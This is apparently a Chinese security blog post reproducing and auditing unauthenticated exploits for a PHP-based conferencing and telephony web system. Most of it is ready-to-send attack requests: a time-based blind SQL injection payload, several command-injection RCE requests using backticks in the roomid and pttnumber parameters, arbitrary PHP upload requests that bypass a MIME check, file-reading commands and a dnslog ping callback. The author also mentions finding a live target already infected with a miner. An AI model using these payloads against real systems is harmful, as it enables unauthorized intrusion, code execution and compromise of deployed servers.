background

看见微信群有人发了篇文章,这个系统我以前挖过,没找到过哪儿能rce的地方,就有点好奇他怎么找出来的。

https://mp.weixin.qq.com/s/32BdBIP0X7YvxLZeIBUqPw

image-20240102200712654

这个注入也挺简单的,直接时间盲注

poc

存在SQL注入的点位
http://xxxxxxxx/api/client/departments2tree.php
该页面POST提交的参数usernumber存在时间盲注

Payload:
addr=&content=&enddate=&executor=&file1=&filetype1=&fileurl=&lang=zh&priority=&relevanter=&sign=69528b7d5fec328f9b25fb1c0a67b2f8&startdate=&timestamp=1670555316267&title=&usernumber=100101'and(select*from(select+sleep(5))a/**/union/**/select+1)='

文章里的exp

0x01 invite_one_member接口RCE

GET /api/client/audiobroadcast/invite_one_member.php?callee=1&roomid=`id>1.txt` HTTP/1.1
Host: {{Hostname}}

0x02 invite2videoconf接口RCE

GET /api/client/invite2videoconf.php?callee=1&roomid=`id>1.txt` HTTP/1.1
Host: {{Hostname}}

0x03 invite_one_ptter接口RCE

GET /api/client/ptt/invite_one_ptter.php?callee=all&caller=1&pttnumber=`id>1.txt`&force=1&timeout=1 HTTP/1.1
Host: {{Hostname}}

0x04 upload接口任意上传

POST /api/client/upload.php HTTP/1.1
Host: {{Hostname}}
Content-Length: 180
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySwvD8hSn3Z0sHfMu
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundarySwvD8hSn3Z0sHfMu
Content-Disposition: form-data; name="ulfile";filename="1.php"
Content-Type: image/png

111
------WebKitFormBoundarySwvD8hSn3Z0sHfMu--

0x05 task-upload接口任意上传

POST /api/client/task/uploadfile.php HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary25qW4eG1Jt50iyf7
Cookie: PHPSESSID=403fc14298f14704c52657fc5ff62c71
Content-Length: 374

------WebKitFormBoundary25qW4eG1Jt50iyf7
Content-Disposition: form-data; name="uuid"

1
------WebKitFormBoundary25qW4eG1Jt50iyf7
Content-Disposition: form-data; name="number"

122
------WebKitFormBoundary25qW4eG1Jt50iyf7
Content-Disposition: form-data; name="uploadfile";filename="1.php"
Content-Type: image/jpg

111
------WebKitFormBoundary25qW4eG1Jt50iyf7--

0x06 event/uploadfile接口任意上传

POST /api/client/event/uploadfile.php HTTP/1.1
Host: {{Hostname}}
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary25qW4eG1Jt50iyf7
Content-Length: 372

------WebKitFormBoundary25qW4eG1Jt50iyf7
Content-Disposition: form-data; name="uuid"

1
------WebKitFormBoundary25qW4eG1Jt50iyf7
Content-Disposition: form-data; name="number"

1
------WebKitFormBoundary25qW4eG1Jt50iyf7
Content-Disposition: form-data; name="uploadfile";filename="1.php"
Content-Type: image/png

111
------WebKitFormBoundary25qW4eG1Jt50iyf7--

复现

口子没啥问题,直接未授权rce了,找了个站发现里面已经被种矿马了

image-20240102192531061

代码审计

rce

直接看这个漏洞点的文件

/api/client/audiobroadcast/invite_one_member.php?callee=1&roomid=`cat invite_one_member.php >1.txt`
<?php

/**
* @api {GET/POST} /api/client/audiobroadcast/invite_one_member.php 邀请成员加入某个已经存在的语音广播
* @apiName invite_one_member
* @apiGroup 语音广播
* @apiVersion 0.1.0
* @apiDescription 语音广播开启后,已经知道直播号,这时如果想邀请某个成员,则直接提供参会者号码和直播即可。在一些呼叫失败场景后可以通过此接口继续邀请对方。 <br>
*
* @apiParam {String} callee 被邀请的号码
* @apiParam {String} roomid 语音广播号
*
* @apiSuccess {String} header 摘要信息 成功返回0,失败返回-1。
* @apiSuccess {String} code 1 : 表示成功; 2 : 参数错误; 3 : 企业不存在; 4 : 企业状态不正确; 5 : 分机不存在; 6 : 类型不正确; 7 : 状态不正确; 8 : 企业状态不正确; 9 : 其他错误;
* @apiSuccess {String} msg 对返回结果的简单描述
* @apiSuccessExample Success-Response:
* HTTP/1.1 200 OK
* {
* "header": {
* "code": "1",
* "msg": "成功"
* }
* }
*
*
*/

require_once "../../../includes/require.php";


$callee_number=$_GET['callee'];
$conference_number=$_GET['roomid'];
//$callee_number=str_replace(",","#",$callee_member);

function cmd_async($cmd) {
exec ($cmd ." /dev/null 2>&1 &");
}

//create the even socket connection and send the event socket command
$fp = event_socket_create($_SESSION['event_socket_ip_address'], $_SESSION['event_socket_port'], $_SESSION['event_socket_password']);
if (!$fp) {
$return_value['st']="-1";
$return_value['roomid']="-1";
echo json_encode($return_value);
}


//build conf cmd
$bridge_array;
$gateway_list;

$ext_start = $_SESSION['local_extension_rang_start'];
$ext_end = $_SESSION['local_extension_rang_end'];

$callee_numbe_array=explode(",",$callee_number);

$conf_flag ="++flags{mute}";

for($i = 0; $i < count($callee_numbe_array); $i++ )
{
if($ext_start >0 && $ext_end > 0){
if(!($callee_numbe_array[$i] >= $ext_start && $callee_numbe_array[$i]<= $ext_end)) {
//$bridge_array_ = outbound_route_to_bridge($_SESSION['domain_uuid'], trim($callee_numbe_array[$i]));
$bridge_array_ = outbound_route_to_bridge($_SESSION['domain_uuid'], trim($callee_numbe_array[$i]));
$sched_seconds=0;
$conf_cmd ="bgapi sched_api +".$sched_seconds." none bgapi originate {absolute_codec_string=^^:opus@16000h@20i:PCMA:PCMU,ignore_early_media=true,origination_caller_id_name=$conference_number,origination_caller_id_number=$conference_number,call_direction=outbound}$bridge_array_[0] $conference_number xml default";
} else{
$sip_dialstring="user/";
$sip_dialstring=$sip_dialstring.$callee_numbe_array[$i]."@".$_SESSION['domain_name'];
$sched_seconds=0;
$conf_cmd ="bgapi sched_api +".$sched_seconds." none bgapi originate {absolute_codec_string=^^:opus@16000h@20i:PCMA:PCMU,ignore_early_media=true,origination_caller_id_name=$conference_number,origination_caller_id_number=$conference_number,call_direction=outbound}$sip_dialstring $conference_number xml default";
}
} else {
//$bridge_array = outbound_route_to_bridge($_SESSION['domain_uuid'], trim($callee_numbe_array[$i]));
$bridge_array = outbound_route_to_bridge($_SESSION['domain_uuid'], trim($callee_numbe_array[$i]));
if(strlen($bridge_array[0]) >=7) {
$sched_seconds=0;
$conf_cmd ="bgapi sched_api +".$sched_seconds." none bgapi originate {absolute_codec_string=^^:opus@16000h@20i:PCMA:PCMU,conf_flag=$conf_flag,ignore_early_media=true,origination_caller_id_name=$conference_number,origination_caller_id_number=$conference_number,call_direction=outbound}$bridge_array[0] $conference_number xml default";
} else {
$sip_dialstring="user/";
$sched_seconds=0;
$sip_dialstring=$sip_dialstring.$callee_numbe_array[$i]."@".$_SESSION['domain_name'];
$conf_cmd ="bgapi sched_api +".$sched_seconds." none bgapi originate {absolute_codec_string=^^:opus@16000h@20i:PCMA:PCMU,conf_flag=$conf_flag,ignore_early_media=true,origination_caller_id_name=$conference_number,origination_caller_id_number=$conference_number,call_direction=outbound}$sip_dialstring $conference_number xml default";
}
}

//echo "cmd == " .$conf_cmd;

//$result = trim(event_socket_request($fp, $conf_cmd));
cmd_async("/usr/local/freeswitch/bin/fs_cli -x \"".$conf_cmd."\";");
//echo($result);
}

//if(substr($result, 0,3) == "+OK"){
$return_value['st']="0";
$return_value['roomid']=$conference_number;

//}else{
// $return_value['st']="-1";
// $return_value['roomid']="-1";
// }

echo json_encode($return_value);
fclose($fp);


?>

传入的参数被存到了$conference_number

image-20240102193453079

$conference_number最后都经过处理放到了$conf_cmd

image-20240102193636052

$conf_cmd最后用cmd_async()处理

image-20240102193748425

cmd_async

image-20240102193829158

直接使用exec处理了,那整个洞就很清晰了,直接用反引号打就行了

文件上传

也来看看文件

/api/client/audiobroadcast/invite_one_member.php?callee=1&roomid=`cat /var/www/html/api/client/upload.php >1.txt`
<?php
$types=array('txt','png','pdf','jpg','jpeg','amr','wav','mp4','avi','mp3','3gp');
$types1=explode('/', $_FILES['ulfile']['type']);
if(!in_array($types1[1], $types)){
echo json_encode(array("code"=>1,"msg"=>"upload file type error"));
exit();
}
if (is_uploaded_file($_FILES['ulfile']['tmp_name'])) {
move_uploaded_file($_FILES['ulfile']['tmp_name'], $_SERVER['DOCUMENT_ROOT'].'/upload/'.$_FILES['ulfile']['name']);
}
?>

很基础的东西了,只检测了mime,写个假的mime就行了,这个打法我就没复现了

总结

我在后台看了很久,没发现哪儿调用了这个口子啊,这个洞到底咋发现的啊。搜一下全文件

/api/client/audiobroadcast/invite_one_member.php?callee=1&roomid=`find /var/www/html|xargs grep -ri "audiobroadcast/invite_one_member.php">1.txt`

image-20240102195717579

直接访问就懂了

/apidoc

点击这个页面的发包发不出去,所以直接手发

/api/client/audiobroadcast/invite_one_member.php?callee=`ping%20qwe.***.dnslog.cn`&roomid=`ping%20qwe.***.dnslog.cn`

image-20240102200331391

懂了,以后测系统时所有参数都试试加反引号去ping或者curl一个地址